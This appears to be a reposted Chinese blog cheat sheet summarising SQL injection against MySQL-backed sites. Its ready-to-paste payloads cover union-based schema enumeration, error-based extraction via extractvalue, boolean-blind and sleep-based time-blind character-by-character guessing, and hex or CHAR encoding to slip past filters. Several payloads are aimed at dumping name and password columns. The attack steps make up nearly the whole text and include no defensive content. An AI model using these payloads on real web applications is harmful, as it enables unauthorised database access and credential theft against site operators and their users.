SQL注入基本流程總結


 

sql注入也學習了很久了,一直沒有做總結。為了方便自己記憶回顧或者使用,還是需要寫一下。不對的地方,請各位師傅指正。

0X01.聯合查詢流程

1.判斷列數

order by N

2.判斷回顯位置

union select 1,2,3,...N

3.獲取當前數據庫

union select 1,2,database(),4

或者查詢information_schema數據庫的schemata表,從得到的結果來確定當前的數據庫

union select 1,2,group_concat(SCHEMA_NAME),4 from information_schema.schemata

4.查詢當前數據庫中有哪些表

從information_schema庫中tables表

union select 1,2,group_concat(table_NAME),4 from information_schema.tables where table_schema=’數據庫名’

5.查詢當前數據庫中對應表的字段名或者列名

從information_schema庫中columns表

union select 1,2,group_concat(column_NAME),4 from information_schema.columns  where table_name='表名' and  table_schema='數據庫名'

6.查詢字段的內容

union select 1,2,group_concat(name,'-',passwd),4 from 數據庫.表

 

0X02.報錯注入流程

1.尋找注入點

測試payload:',",' ",' ")

出現詳細的報錯語句時,則可使用報錯注入

2.使用報錯函數構造報錯注入語句

常見的報錯函數:

floor()
extractvalue()
updatexml()
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()

測試例子:

查詢當前數據庫

and extractvalue(1,concat(0x7e,(select database()),0x7e))

后續的過程就根據聯合查詢來

查當前數據庫表名

and extractvalue(1,concat(0x7e,(select group_concat(table_NAME) from information_schema.tables where table_schema='庫名'),0x7e))

查對應表的字段名

and extractvalue(1,concat(0x7e,(select group_concat(column_NAME) from information_schema.columns where table_schema='庫名' and  table_name='表名'),0x7e))

查字段內容

and extractvalue(1,concat(0x7e,(select group_concat(name,'---',passwd) from 庫名.表名),0x7e))

 

0X03.布爾盲注流程

1.尋找注入點

and 1=1

and 1=2

根據結果是否不同,判斷是否具有布爾型盲注

2.判斷庫名長度

and length(database())=1

可以用二分法,也可以用burp

3.判斷數據庫庫名

and substr(database(),1,1)=’X

使用burp進行爆破,1表示庫名的第幾位,X表示庫名的組成

substr()也可以換成mid(),下面也是

4.確定數據庫中的表的數量

and ((select count(table_name)from information_schema.tables where table_schema='庫名'))>9

還是使用二分法

5.確定表名

and substr((select table_name from information_schema.tables where table_schema='庫名' limit 0,1),6,1)='m'

第一個表示庫中的第幾個表

第二個表示表名中第幾個字母

第三個就是表名中可能出現的字母

6.確定表中的字段數量

and ((select count(column_name)from information_schema.columns where table_schema='庫名' and table_name='表名'))>4

7.確定字段名

and substr((select column_name from information_schema.columns where table_schema='庫名' and table_name='表名' limit 0,1),1,1)='m'

8.確定字段內容

and substr((select group_concat(name,'-',passwd) from 庫名.表名 limit 0,1),1,1)='a'

還可以在截斷函數外加編碼ascii()/ord()/hex(),或者查詢的時候使用模糊匹配like,正則表達式regexp'^a'

 

0X04.時間盲注流程

時間盲注和布爾盲注很像,但表現形式不同,時間盲注主要依靠sleep()函數,當頁面出現sleep()中設置的時間延遲時,則具有時間盲注

1.判斷注入點

and sleep(5)

出現對應延遲則具備時間盲注

2.判斷數據庫長度,判斷過程與布爾盲注類似,不過多加了if()

and if(length(database())=’6’, sleep(3),1)

3.判斷數據庫庫名

and if(substr(database(),1,1)=’X’, sleep(3),1)

4.判斷庫中表的數量

and if(((select count(table_name)from information_schema.tables where table_schema='庫名'))>9,sleep(3),1)

5.判斷表名

and if(substr((select table_name from information_schema.tables where table_schema='510cms' limit 0,1),6,1)="m",sleep(3),1)

0表示偏移即第幾個表,6表示第幾個字母,m表示表名的組成

6.確定表中的字段數量

and if((select count(column_name)from information_schema.columns where table_schema='庫名' and table_name='表名')>4,sleep(3),1)

7.確定字段名

and if(substr((select column_name from information_schema.columns where table_schema='庫名' and table_name='表名' limit 0,1),1,1)='i',sleep(3),1)

8.確定字段內容

and if(substr((select group_concat(name,'-',passwd) from 庫名.表名 limit 0,1),1,1)='a',sleep(3),1)

 

 

0X05.一些報錯

1 聯合查詢中出現報錯:Illegal mix of collations for operation 'UNION'

解決方法:convert()進行編碼轉換

union select 1,2,group_concat(convert(SCHEMA_NAME  using latin1 )),4 from information_schema.schemata

 

0x06.編碼技巧

有時可以將表名,字段名,數據庫名進行編碼從而注入

如admin通過hex編碼生成0x61646d696e

或者用ASCll編碼則表示為CHAR(97, 100, 109, 105, 110)

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM